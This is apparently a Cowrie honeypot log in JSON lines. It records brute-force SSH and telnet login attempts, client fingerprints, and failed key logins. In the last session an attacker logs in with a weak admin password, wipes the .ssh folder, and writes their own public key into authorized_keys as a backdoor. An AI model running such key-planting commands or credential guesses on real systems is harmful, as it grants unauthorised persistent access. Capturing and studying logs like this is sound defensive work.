bc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:02.833681Z","src_ip":"86.111.176.100","session":"9c6caf6a6069","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:3a:e5:bc:d4:f6:91:01:f2:5d:f0:af:29:eb:22:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcWtPfgH5wR4hOxLrwpCrMUB7Pk/GDqYXc0DRkCvAJGcFf5yy9eFkdRm8JRJpGDKhIl1rq8n/1YWjIfflOUiemZrC2rUJMz4s+1+uDvnvtav8hWW9Z+eFPSPmux2+LFi997RZ70gG17G0XplU8Vj2zGCoCd4jEl4yaD5z1sYqIaO/UEOEcnpt5sJp54jpngtERPw9AeZyyTogdxqDunOBQJ9GlT17dSKaCy/Cc48OS+K+1INiyxufJ4P3JY8bmBFLhli7db72OyA9WIkeWmf27gekXCvn25z/Vj/wq6PAh6eXOOAReVgleEmFLfFbCLM09MYv1/tWznSQ2ZtpjFwiPdW6B9zY3IlFHWfVUFWzL/8QSAfaQjY7VCaKMVyo5IEuFDU0uN9UwoNTxqsS32k+UzeLoNNCcL+MWmE6YpfcBhFnfCAARxMkQ+/VvKJgQlrrBVoGgfslNd1QfPQKErsp/UJc3jemZ/zaPnU+vFTYLcZ9FW77KCKLc7sumFJJuqjnWvk+CNOY4iOq2ft/KFtVVj5sUTtV2sO4EyiGNimptdNHxKrHBmyaq77YeDAGzXxNmfis7XRd5ygpNqWOaAxEh84WduKQx93DkhvKwOgT6W4EuEI/WwZhlBgMepfHkzxsevDvFPv7pQcGAAw1ndj15c+PaOB4TKWzIfwFPaxAoRw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:3a:e5:bc:d4:f6:91:01:f2:5d:f0:af:29:eb:22:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:03.160922Z","src_ip":"86.111.176.100","session":"9c6caf6a6069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:3a:e5:bc:d4:f6:91:01:f2:5d:f0:af:29:eb:22:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcWtPfgH5wR4hOxLrwpCrMUB7Pk/GDqYXc0DRkCvAJGcFf5yy9eFkdRm8JRJpGDKhIl1rq8n/1YWjIfflOUiemZrC2rUJMz4s+1+uDvnvtav8hWW9Z+eFPSPmux2+LFi997RZ70gG17G0XplU8Vj2zGCoCd4jEl4yaD5z1sYqIaO/UEOEcnpt5sJp54jpngtERPw9AeZyyTogdxqDunOBQJ9GlT17dSKaCy/Cc48OS+K+1INiyxufJ4P3JY8bmBFLhli7db72OyA9WIkeWmf27gekXCvn25z/Vj/wq6PAh6eXOOAReVgleEmFLfFbCLM09MYv1/tWznSQ2ZtpjFwiPdW6B9zY3IlFHWfVUFWzL/8QSAfaQjY7VCaKMVyo5IEuFDU0uN9UwoNTxqsS32k+UzeLoNNCcL+MWmE6YpfcBhFnfCAARxMkQ+/VvKJgQlrrBVoGgfslNd1QfPQKErsp/UJc3jemZ/zaPnU+vFTYLcZ9FW77KCKLc7sumFJJuqjnWvk+CNOY4iOq2ft/KFtVVj5sUTtV2sO4EyiGNimptdNHxKrHBmyaq77YeDAGzXxNmfis7XRd5ygpNqWOaAxEh84WduKQx93DkhvKwOgT6W4EuEI/WwZhlBgMepfHkzxsevDvFPv7pQcGAAw1ndj15c+PaOB4TKWzIfwFPaxAoRw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:03.168927Z","src_ip":"86.111.176.100","session":"9c6caf6a6069","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:41:8d:0f:ee:6a:da:dc:26:86:ab:41:58:67:ca:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxbCNOV+r7Jrmmx/mpR8rPH6xl9/5aMFQ3v/seKIyJUGh4tV6pIMdwFbFdnocTLK+70KHCUaWA0fRNJYdJfUEMMbn+InhncADDmuAilRoENC2iKgf3BBbleplCY0k19xKB9xbw6dZ1nKNIHqySu9oku5HotGN4agEyKkoHaWVXSxn6uzosLluvE1t1pAZQRe3xAk3ivvXOfJKOlqkspf9XssIPutihZPPQvsy9yWFRjlrJfEVdwpah+rjifZViBgx3H0y9ssvSI8PZV7ZxFmBVq2ZdcAnAhedlR4GeHBgdvXcsQyCjIuL9gTnGHOydA6xG/AYbzZAls2s3wxyd+YzFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:41:8d:0f:ee:6a:da:dc:26:86:ab:41:58:67:ca:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:03.243691Z","src_ip":"86.111.176.100","session":"9c6caf6a6069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:41:8d:0f:ee:6a:da:dc:26:86:ab:41:58:67:ca:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxbCNOV+r7Jrmmx/mpR8rPH6xl9/5aMFQ3v/seKIyJUGh4tV6pIMdwFbFdnocTLK+70KHCUaWA0fRNJYdJfUEMMbn+InhncADDmuAilRoENC2iKgf3BBbleplCY0k19xKB9xbw6dZ1nKNIHqySu9oku5HotGN4agEyKkoHaWVXSxn6uzosLluvE1t1pAZQRe3xAk3ivvXOfJKOlqkspf9XssIPutihZPPQvsy9yWFRjlrJfEVdwpah+rjifZViBgx3H0y9ssvSI8PZV7ZxFmBVq2ZdcAnAhedlR4GeHBgdvXcsQyCjIuL9gTnGHOydA6xG/AYbzZAls2s3wxyd+YzFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:03.248040Z","src_ip":"86.111.176.100","session":"9c6caf6a6069","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:19:d8:bd:43:78:0c:fc:ad:13:96:92:83:a4:2a:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXttHpXI/ClRZAxB7a/2LwahyeM2XSiBs24gqesPad9Qya+X2PXcPgnlQkcRX6wIYxoYua7BLFfzIHlunFSU3C9tRq6H5JzTGfWKixbkXoIBMeuumOM+ItXEd9zrCM8yXeaWR5T+fgie9y/VSQwoGYYhSgJmKkqx0TJHqIHBDwFOa6H51nWCfvFmMR5D3RTpWFTRpOGnAkq2BahZWNQYHLp5aMkM/MG2aVnD/UxhcnINiIa6devrcnxJBlCoHQb/lm2t8LIxWdRmGDr1YG32PWPk5y1jx5218epKL2f91j+0XNP8NIYDRwJxw1yaVhhtPoAIkzb94aJ+mT18sjEipb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:19:d8:bd:43:78:0c:fc:ad:13:96:92:83:a4:2a:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:03.318685Z","src_ip":"86.111.176.100","session":"9c6caf6a6069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:19:d8:bd:43:78:0c:fc:ad:13:96:92:83:a4:2a:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXttHpXI/ClRZAxB7a/2LwahyeM2XSiBs24gqesPad9Qya+X2PXcPgnlQkcRX6wIYxoYua7BLFfzIHlunFSU3C9tRq6H5JzTGfWKixbkXoIBMeuumOM+ItXEd9zrCM8yXeaWR5T+fgie9y/VSQwoGYYhSgJmKkqx0TJHqIHBDwFOa6H51nWCfvFmMR5D3RTpWFTRpOGnAkq2BahZWNQYHLp5aMkM/MG2aVnD/UxhcnINiIa6devrcnxJBlCoHQb/lm2t8LIxWdRmGDr1YG32PWPk5y1jx5218epKL2f91j+0XNP8NIYDRwJxw1yaVhhtPoAIkzb94aJ+mT18sjEipb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:03.323121Z","src_ip":"86.111.176.100","session":"9c6caf6a6069","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:d8:8a:a5:84:a6:a0:2c:75:fa:55:df:4b:89:e9:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArdaFwy83U2vK7pujP4eLP/FcVik5RAKKDocyTkf/fWt7szL1d1Z085idQ+JQcKcCNSXI2RzWZCI9Ls4qRHtpWD6AbcTtz5rZ4nyRw/W07UEzHXRCkzAE7jAHxrRBj3Z9MpjnpMO76zNDVnjFfBf+NtBAHTZppRs4ba+GSHb2roLJ1t8JPEX41agzSQCWvvZV57AYZ3RtPax7j8PGnI8aReM43GWYOcqnAjWeOOHMK+HWruknkM2f2xFldWBi3qWChsnz8oDET/1o8uJieVGEW2shZ2CuKwm/fZb8rvd6xwu0d+vG0uz/bR0l7Er2NqBJgLhDWK0EJ37fXSLrRz+PyQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:d8:8a:a5:84:a6:a0:2c:75:fa:55:df:4b:89:e9:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:03.397308Z","src_ip":"86.111.176.100","session":"9c6caf6a6069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:d8:8a:a5:84:a6:a0:2c:75:fa:55:df:4b:89:e9:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArdaFwy83U2vK7pujP4eLP/FcVik5RAKKDocyTkf/fWt7szL1d1Z085idQ+JQcKcCNSXI2RzWZCI9Ls4qRHtpWD6AbcTtz5rZ4nyRw/W07UEzHXRCkzAE7jAHxrRBj3Z9MpjnpMO76zNDVnjFfBf+NtBAHTZppRs4ba+GSHb2roLJ1t8JPEX41agzSQCWvvZV57AYZ3RtPax7j8PGnI8aReM43GWYOcqnAjWeOOHMK+HWruknkM2f2xFldWBi3qWChsnz8oDET/1o8uJieVGEW2shZ2CuKwm/fZb8rvd6xwu0d+vG0uz/bR0l7Er2NqBJgLhDWK0EJ37fXSLrRz+PyQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:03.401627Z","src_ip":"86.111.176.100","session":"9c6caf6a6069","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:95:24:10:69:aa:db:b9:41:3b:25:71:94:08:ed:2d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMZjqx2eoo9+4/V1Tuoi8lby/+6JjTO2k9sIxOa2jGNG","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 3e:95:24:10:69:aa:db:b9:41:3b:25:71:94:08:ed:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:03.471794Z","src_ip":"86.111.176.100","session":"9c6caf6a6069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:95:24:10:69:aa:db:b9:41:3b:25:71:94:08:ed:2d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMZjqx2eoo9+4/V1Tuoi8lby/+6JjTO2k9sIxOa2jGNG","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:03.475880Z","src_ip":"86.111.176.100","session":"9c6caf6a6069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:03.548468Z","src_ip":"86.111.176.100","session":"9c6caf6a6069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56294,"dst_ip":"10.17.0.5","dst_port":23,"session":"2baa33bca13b","protocol":"telnet","message":"New connection: 152.42.224.71:56294 (10.17.0.5:23) [session: 2baa33bca13b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:04.324554Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33144,"dst_ip":"10.17.0.5","dst_port":23,"session":"9421ac087fb6","protocol":"telnet","message":"New connection: 152.42.224.71:33144 (10.17.0.5:23) [session: 9421ac087fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:08.338408Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":57204,"dst_ip":"159.203.135.109","dst_port":22,"session":"0678714a6b52","protocol":"ssh","message":"New connection: 102.210.148.92:57204 (159.203.135.109:22) [session: 0678714a6b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:09.983440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:09.988868Z","src_ip":"102.210.148.92","session":"0678714a6b52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:10.251674Z","src_ip":"102.210.148.92","session":"0678714a6b52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"1","message":"login attempt [amir/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:11.332450Z","src_ip":"102.210.148.92","session":"0678714a6b52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:12.598227Z","src_ip":"102.210.148.92","session":"0678714a6b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33160,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bac05f44b60","protocol":"telnet","message":"New connection: 152.42.224.71:33160 (10.17.0.5:23) [session: 8bac05f44b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:14.726716Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":33082,"dst_ip":"159.203.135.109","dst_port":22,"session":"aef96dcd6fb3","protocol":"ssh","message":"New connection: 103.188.177.46:33082 (159.203.135.109:22) [session: aef96dcd6fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:18.414092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:18.419150Z","src_ip":"103.188.177.46","session":"aef96dcd6fb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:18.655597Z","src_ip":"103.188.177.46","session":"aef96dcd6fb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456..","message":"login attempt [root/Aa@123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:19.631564Z","src_ip":"103.188.177.46","session":"aef96dcd6fb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:20.872213Z","src_ip":"103.188.177.46","session":"aef96dcd6fb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.85736131668091,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:23.963197Z","src_ip":"152.42.224.71","session":"2f63516ddb7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32852,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d6119112b66","protocol":"telnet","message":"New connection: 152.42.224.71:32852 (10.17.0.5:23) [session: 7d6119112b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:24.009694Z"}
{"eventid":"cowrie.session.closed","duration":16.099337577819824,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:24.437610Z","src_ip":"152.42.224.71","session":"9421ac087fb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":37664,"dst_ip":"159.203.135.109","dst_port":22,"session":"86a0bbd7b491","protocol":"ssh","message":"New connection: 43.133.62.188:37664 (159.203.135.109:22) [session: 86a0bbd7b491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:24.522240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:24.527049Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:24.765929Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadminadmin","message":"login attempt [admin/adminadminadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:25.752096Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:26.282141Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:26.285726Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:26.290310Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:26.766330Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:27.082704Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:27.085889Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
